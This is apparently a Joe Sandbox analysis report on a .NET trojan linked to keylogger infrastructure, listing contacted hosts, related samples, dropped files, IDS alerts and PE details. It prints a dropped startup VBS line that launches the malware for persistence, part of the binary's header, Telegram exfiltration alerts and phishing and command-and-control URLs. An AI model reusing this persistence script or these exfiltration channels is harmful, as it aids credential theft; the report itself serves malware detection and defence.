https://reallyfreegeoip.org/xml/	pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2570925272.0000000002B73000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2569306283.0000000002410000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
46.175.148.58	mail.iaa-airferight.com	Ukraine	56394	ASLAGIDKOM-NETUA	false
104.21.96.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1634876
Start date and time:	2025-03-11 06:09:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	pbgjw8i8N7.exe renamed because original name is a hash value
Original Sample Name:	44095f79a9e682a29ed75fab33f6dcf1e2f11937097e4c7e3f84080ff7444048.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@8/3@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 443 Number of non-executed functions: 47
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 23.199.214.10, 52.149.20.212, 150.171.27.10
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, g.bing.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:10:03	API Interceptor	2376135x Sleep call for process: InstallUtil.exe modified
06:09:59	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XsdType.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	fw5476UX6g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	C7fclY8IiM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	oybsEA5EhR.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	TpHHp3vAuM.exe	Get hash	malicious	CryptOne, Snake Keylogger	Browse
	faz3VkyT7b.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse
	bddTkmucZP.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	ctTrvHxBXO.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	bc7hwStvUx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	NifDAK5eSH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	gID5oMWjq1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
46.175.148.58	G3uJOLisBq.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	yxoY9FvULu.exe	Get hash	malicious	AgentTesla	Browse
	ShGhJDcXXI.exe	Get hash	malicious	AgentTesla	Browse
	wpo28029 Changzhou Tairun.exe	Get hash	malicious	AgentTesla	Browse
	gcXBQbWQ1p.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	AmEZrFh7we.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	3SgC5vaFEg.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win32.CrypterX-gen.27605.29739.exe	Get hash	malicious	AgentTesla	Browse
	PO 352995.exe	Get hash	malicious	AgentTesla	Browse
	Ningbo Overdue Invoice - JAN 23,2025.exe	Get hash	malicious	AgentTesla	Browse
104.21.96.1	hh01FRs81x.exe	Get hash	malicious	FormBook	Browse	www.newanthoperso.shop/3nis/?LL=4FHLH&R4lxS2-P=7Jez/f8BRsPhvFRcTYEfxOkzfWBvvrnmo+4qP8uldvbHjjygNPFvdo5E4tKnf+Ij1qWwstrtA/xMUYgdGo9Dw7YPXWw4NGSG4oy32mHU2IUoylmJFg==
	yloe82Jp1k.exe	Get hash	malicious	FormBook	Browse	www.sigaque.today/n61y/
	A2h6QhZIKx.exe	Get hash	malicious	Azorult	Browse	k1d5.icu/TP341/index.php
	DHL AWB Receipt_pdf.bat.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/2dxw/
	r_BBVA_MensajeSWIFT04-03-2025-PDF.exe	Get hash	malicious	FormBook	Browse	www.kdrqcyusevx.info/k7wl/
	MUH030425.exe	Get hash	malicious	Azorult	Browse	k1d5.icu/TP341/index.php
	Invoice Remittance ref20250226.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/a669/
	368c6e62-b031-5b65-fd43-e7a610184138.eml	Get hash	malicious	HTMLPhisher	Browse	ce60771026585.oakdiiocese.org/r/74?session=770558a25b5d1fcbb8d81f113631d430f5b8d022cdc6d97cf6b16a412a3be9e6
	PO.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php
	OEoRzjI7JgSiUUd.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sss2/five/fre.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	hcy2SdW2z6.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	fw5476UX6g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	C7fclY8IiM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	oybsEA5EhR.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	TpHHp3vAuM.exe	Get hash	malicious	CryptOne, Snake Keylogger	Browse	104.21.32.1
	faz3VkyT7b.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	REQ. NO.237.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	bddTkmucZP.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.80.1
	ctTrvHxBXO.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	ZX0sNnKlqT.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.80.1
mail.iaa-airferight.com	G3uJOLisBq.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	46.175.148.58
	yxoY9FvULu.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	ShGhJDcXXI.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	wpo28029 Changzhou Tairun.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	gcXBQbWQ1p.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	46.175.148.58
	AmEZrFh7we.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	46.175.148.58
	3SgC5vaFEg.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	SecuriteInfo.com.Win32.CrypterX-gen.27605.29739.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	PO 352995.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	Ningbo Overdue Invoice - JAN 23,2025.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
api.telegram.org	fw5476UX6g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	C7fclY8IiM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	oybsEA5EhR.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TpHHp3vAuM.exe	Get hash	malicious	CryptOne, Snake Keylogger	Browse	149.154.167.220
	faz3VkyT7b.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	149.154.167.220
	bddTkmucZP.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	ctTrvHxBXO.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	bc7hwStvUx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	NifDAK5eSH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	gID5oMWjq1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	fw5476UX6g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	C7fclY8IiM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	oybsEA5EhR.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TpHHp3vAuM.exe	Get hash	malicious	CryptOne, Snake Keylogger	Browse	149.154.167.220
	faz3VkyT7b.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	149.154.167.220
	bddTkmucZP.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	ctTrvHxBXO.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	bc7hwStvUx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	NifDAK5eSH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	gID5oMWjq1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
ASLAGIDKOM-NETUA	G3uJOLisBq.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	46.175.148.58
	yxoY9FvULu.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	ShGhJDcXXI.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	wpo28029 Changzhou Tairun.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	gcXBQbWQ1p.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	46.175.148.58
	AmEZrFh7we.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	46.175.148.58
	3SgC5vaFEg.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	SecuriteInfo.com.Win32.CrypterX-gen.27605.29739.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	PO 352995.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	Ningbo Overdue Invoice - JAN 23,2025.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
ORACLE-BMC-31898US	hcy2SdW2z6.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	C7fclY8IiM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	oybsEA5EhR.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	faz3VkyT7b.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.130.0
	REQ. NO.237.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	bddTkmucZP.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	ctTrvHxBXO.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	ZX0sNnKlqT.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.130.0
	gC0avSHWrd.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	bc7hwStvUx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
CLOUDFLARENETUS	hcy2SdW2z6.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	fw5476UX6g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	C7fclY8IiM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	oybsEA5EhR.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	TpHHp3vAuM.exe	Get hash	malicious	CryptOne, Snake Keylogger	Browse	104.21.32.1
	y27AF4qx0Q.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://vuqdis5yetjpyqu38qzukbhmzmdn.pil.com.tr/newmoonsed/activitypery/loufewagophy/?email=script_kiddys@tryharder.com	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.18.95.41
	f468369488.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	faz3VkyT7b.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	REQ. NO.237.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	hcy2SdW2z6.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	fw5476UX6g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	C7fclY8IiM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.96.1
	oybsEA5EhR.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	TpHHp3vAuM.exe	Get hash	malicious	CryptOne, Snake Keylogger	Browse	104.21.96.1
	faz3VkyT7b.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.96.1
	REQ. NO.237.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	bddTkmucZP.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.96.1
	ctTrvHxBXO.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	ZX0sNnKlqT.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.96.1
3b5074b1b5d032e5620f69f9f700ff0e	fw5476UX6g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	C7fclY8IiM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	oybsEA5EhR.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TpHHp3vAuM.exe	Get hash	malicious	CryptOne, Snake Keylogger	Browse	149.154.167.220
	y27AF4qx0Q.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	faz3VkyT7b.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	149.154.167.220
	bddTkmucZP.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	ctTrvHxBXO.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	nPqeSjgAQQ.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	bc7hwStvUx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\pbgjw8i8N7.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	83
Entropy (8bit):	4.8540896607743065
Encrypted:	false
SSDEEP:	3:FER/n0eFHHoUkh4EaKC54xkAJHn:FER/lFHI9aZ54xkQ
MD5:	061D0A86AEDA15C377568F4B29BBAF18
SHA1:	837000CED0C724D9D9E4435B8DEC8F9D9D66DE0D
SHA-256:	E07469C6D38C6555ECA0663828E9AE9096CB6F2DCD4AF5005B1A5BFFF2BAAE51
SHA-512:	F527B876A4BE2E0EFED2385FA4C19CC58729A95E39C5AC32A09B014FA5EB1233EFC467655DAE802245440FD99A80873F1B385694A67B09FB7E909CE9070A15AA
Malicious:	true
Reputation:	low
Preview:	CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\XsdType.exe"""

C:\Users\user\AppData\Roaming\XsdType.exe

Download File

Process:	C:\Users\user\Desktop\pbgjw8i8N7.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2034176
Entropy (8bit):	7.188926297239984
Encrypted:	false
SSDEEP:	24576:SUeQg2PvNPjxiF1LeVFJ03GDJuwAP3OED/NSq66+0wZPK8FbqFnAYJytaEVarmmI:tNrxiHUJK8lAP3vD/A0uC8tBcytaeXd
MD5:	679DA76A671452DE2F13A1585028E74E
SHA1:	E89C5B5D3B31025710714C14955D22820E2ED493
SHA-256:	44095F79A9E682A29ED75FAB33F6DCF1E2F11937097E4C7E3F84080FF7444048
SHA-512:	E21D43F7BBFD77CE1FDCCF438655385EE1EFD026F29ADBA0C1E979186DE0B28B8495C97ED4E89B9324D484B0DB4CE9C9E5D29964D4DF395BE54F6477D086959C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Virustotal, Detection: 70%, Browse Antivirus: ReversingLabs, Detection: 63%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...<U.g................................. ... ....@.. .......................`............`.................................P...K.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H........b..xz..........L....@..............................................(......0..]....... ........8........E....=.......88...(....r...p(....rM..p(.... ....~....{....9....& ....8.......&~..........~......(......0..C....... ........8........E....2...%...C.......e...........8-.... ....~....{....:....& ....8....... ....8......9.... ....8....... ....~....{....9....& ....8z....(...... ....~....{....:....& ....8........E............l...A...8....s...... ....8....ra..p(....

C:\Users\user\AppData\Roaming\XsdType.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\pbgjw8i8N7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.188926297239984
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	pbgjw8i8N7.exe
File size:	2'034'176 bytes
MD5:	679da76a671452de2f13a1585028e74e
SHA1:	e89c5b5d3b31025710714c14955d22820e2ed493
SHA256:	44095f79a9e682a29ed75fab33f6dcf1e2f11937097e4c7e3f84080ff7444048
SHA512:	e21d43f7bbfd77ce1fdccf438655385ee1efd026f29adba0c1e979186de0b28b8495c97ed4e89b9324d484b0db4ce9c9e5d29964d4df395be54f6477d086959c
SSDEEP:	24576:SUeQg2PvNPjxiF1LeVFJ03GDJuwAP3OED/NSq66+0wZPK8FbqFnAYJytaEVarmmI:tNrxiHUJK8lAP3vD/A0uC8tBcytaeXd
TLSH:	2A957D0BF79A47A1D274573EC8AB081CA3A4E58267D3DF1E374A235908E37BB8D41617
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...<U.g................................. ... ....@.. .......................`............`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x5f1e9e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67B7553C [Thu Feb 20 16:15:56 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1f1e50	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1f2000	0x598	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1f4000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1efea4	0x1f0000	d03b9bac6ae442dab3dbcb8283e6b212	False	0.7072488107988911	data	7.19209181797832	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1f2000	0x598	0x600	a728d9befd81068fd0b723357e4d78c7	False	0.4147135416666667	data	4.067971838205649	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1f4000	0xc	0x200	076cee7609f3daeac8d8b0882acc6e9f	False	0.044921875	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "\037"	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1f20a0	0x30c	data			0.4256410256410256
RT_MANIFEST	0x1f23ac	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
Comments
CompanyName
FileDescription	Jurfzqn
FileVersion	1.0.0.0
InternalName	Jurfzqn.exe
LegalCopyright	Copyright 2017
LegalTrademarks
OriginalFilename	Jurfzqn.exe
ProductName	Jurfzqn
ProductVersion	1.0.0.0
Assembly Version	1.0.0.0

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-11T06:09:59.024815+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49712	158.101.44.242	80	TCP
2025-03-11T06:10:04.872621+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49712	158.101.44.242	80	TCP
2025-03-11T06:10:07.153657+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49714	104.21.96.1	443	TCP
2025-03-11T06:10:16.717744+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49715	158.101.44.242	80	TCP
2025-03-11T06:10:18.915468+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49719	104.21.96.1	443	TCP
2025-03-11T06:10:24.107212+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49716	158.101.44.242	80	TCP
2025-03-11T06:10:27.857004+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49716	158.101.44.242	80	TCP
2025-03-11T06:10:30.004518+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49726	104.21.96.1	443	TCP
2025-03-11T06:10:30.716397+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49728	158.101.44.242	80	TCP
2025-03-11T06:10:34.050375+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49729	104.21.96.1	443	TCP
2025-03-11T06:10:45.740940+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.5	49745	149.154.167.220	443	TCP
2025-03-11T06:10:49.188792+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49748	104.21.96.1	443	TCP
2025-03-11T06:10:52.152063+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49750	104.21.96.1	443	TCP
2025-03-11T06:10:54.564569+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.5	49753	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 11, 2025 06:09:58.196594000 CET	49712	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:09:58.201539040 CET	80	49712	158.101.44.242	192.168.2.5
Mar 11, 2025 06:09:58.201631069 CET	49712	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:09:58.201845884 CET	49712	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:09:58.206703901 CET	80	49712	158.101.44.242	192.168.2.5
Mar 11, 2025 06:09:58.804289103 CET	80	49712	158.101.44.242	192.168.2.5
